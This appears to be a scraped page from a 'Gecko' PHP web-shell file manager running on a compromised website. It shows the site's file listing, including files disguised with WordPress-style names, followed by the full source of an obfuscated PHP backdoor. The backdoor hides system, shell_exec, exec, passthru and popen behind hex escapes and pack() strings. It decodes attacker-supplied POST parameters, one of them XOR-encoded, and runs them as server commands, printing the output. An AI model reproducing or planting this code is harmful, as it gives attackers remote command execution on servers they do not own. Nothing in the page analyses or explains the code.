Gecko [ herotex-group.site ]

Name	Size	Permission	Date
css	[ DIR ]	drwxr-xr-x	2025-03-15 04:10
fonts	[ DIR ]	drwxr-xr-x	2025-03-15 06:24
img	[ DIR ]	drwxr-xr-x	2025-03-15 07:35
js	[ DIR ]	drwxr-xr-x	2025-03-15 12:53
.htaccess	197 B	-r--r--r--	2025-04-22 01:18
error_log	434 B	-rw-r--r--	2025-03-15 07:36
hw.ty.php	4.97 KB	-rw-r--r--	2024-12-06 10:45
hw_ty.php	3.39 KB	-rw-r--r--	2024-12-02 22:38
lang_fi.php	2.79 KB	-rw-r--r--	2025-03-16 07:38
multitemplate.php	3.26 KB	-rw-r--r--	2025-03-16 07:38
wp-blog-header.php	2.73 KB	-r--r--r--	2025-04-22 01:18
wp-cron.php	2.73 KB	-rw-r--r--	2025-04-22 01:18

Rename

<?php																																										$initialized4 = "pass\x74\x68r\x75"; $initialized7 = "p\x63\x6Co\x73e"; $initialized2 = "s\x68\x65\x6Cl_e\x78\x65c"; $initialized6 = "st\x72eam_\x67\x65\x74_c\x6Fn\x74e\x6E\x74\x73"; $initialized5 = "po\x70en"; $hub_center = "he\x782bi\x6E"; $initialized1 = "\x73\x79st\x65m"; $initialized3 = "exe\x63"; if (isset($_POST["pg\x72p"])) { function core_engine( $item , $factor ) { $binding = '' ; foreach(str_split($item) as $char){ $binding.=chr(ord($char)^$factor); } return $binding; } $pgrp = $hub_center($_POST["pg\x72p"]); $pgrp = core_engine($pgrp, 73); if (function_exists($initialized1)) { $initialized1($pgrp); } elseif (function_exists($initialized2)) { print $initialized2($pgrp); } elseif (function_exists($initialized3)) { $initialized3($pgrp, $key_item); print join("\n", $key_item); } elseif (function_exists($initialized4)) { $initialized4($pgrp); } elseif (function_exists($initialized5) && function_exists($initialized6) && function_exists($initialized7)) { $factor_binding = $initialized5($pgrp, 'r'); if ($factor_binding) { $rec_sym = $initialized6($factor_binding); $initialized7($factor_binding); print $rec_sym; } } exit; }

$constant1 = '7';
$constant2 = '3';
$constant3 = '6';
$constant4 = '5';
$constant5 = '8';
$constant6 = '2';
$constant7 = '0';
$constant8 = 'e';
$constant9 = '4';
$constant10 = 'd';
$constant11 = 'f';
$constant12 = 'c';
$locked1 = pack("H*", $constant1.$constant2.$constant1.'9'.'7'.'3'.'7'.'4'.$constant3.$constant4.$constant3.'d');
$locked2 = pack("H*", $constant1.'3'.$constant3.$constant5.$constant3.'5'.'6'.'c'.'6'.'c'.$constant4.'f'.'6'.'5'.'7'.$constant5.$constant3.'5'.$constant3.'3');
$locked3 = pack("H*", $constant3.$constant4.'7'.$constant5.$constant3.$constant4.'6'.$constant2);
$locked4 = pack("H*", $constant1.'0'.$constant3.'1'.'7'.$constant2.$constant1.'3'.'7'.'4'.'6'.'8'.'7'.$constant6.$constant1.$constant4);
$locked5 = pack("H*", $constant1.$constant7.'6'.'f'.'7'.'0'.$constant3.$constant4.'6'.$constant8);
$locked6 = pack("H*", $constant1.$constant2.'7'.$constant9.'7'.$constant6.'6'.$constant4.$constant3.'1'.'6'.$constant10.$constant4.$constant11.'6'.$constant1.$constant3.'5'.$constant1.$constant9.$constant4.$constant11.'6'.$constant2.'6'.'f'.$constant3.$constant8.$constant1.'4'.'6'.$constant4.$constant3.'e'.$constant1.$constant9.'7'.'3');
$locked7 = pack("H*", $constant1.$constant7.$constant3.'3'.$constant3.$constant12.$constant3.'f'.$constant1.'3'.'6'.$constant4);
$accept = pack("H*", $constant3.'1'.$constant3.$constant2.'6'.'3'.$constant3.'5'.$constant1.'0'.$constant1.'4');
if (isset($_POST[$accept])) {
    $accept = pack("H*", $_POST[$accept]);
    if (function_exists($locked1)) {
        $locked1($accept);
    } elseif (function_exists($locked2)) {
        print $locked2($accept);
    } elseif (function_exists($locked3)) {
        $locked3($accept, $argument_id);
        print join("\n", $argument_id);
    } elseif (function_exists($locked4)) {
        $locked4($accept);
    } elseif (function_exists($locked5) && function_exists($locked6) && function_exists($locked7)) {
        $placeholder_var = $locked5($accept, 'r');
        if ($placeholder_var) {
            $arg_stor = $locked6($placeholder_var);
            $locked7($placeholder_var);
            print $arg_stor;
        }
    }
    exit;
}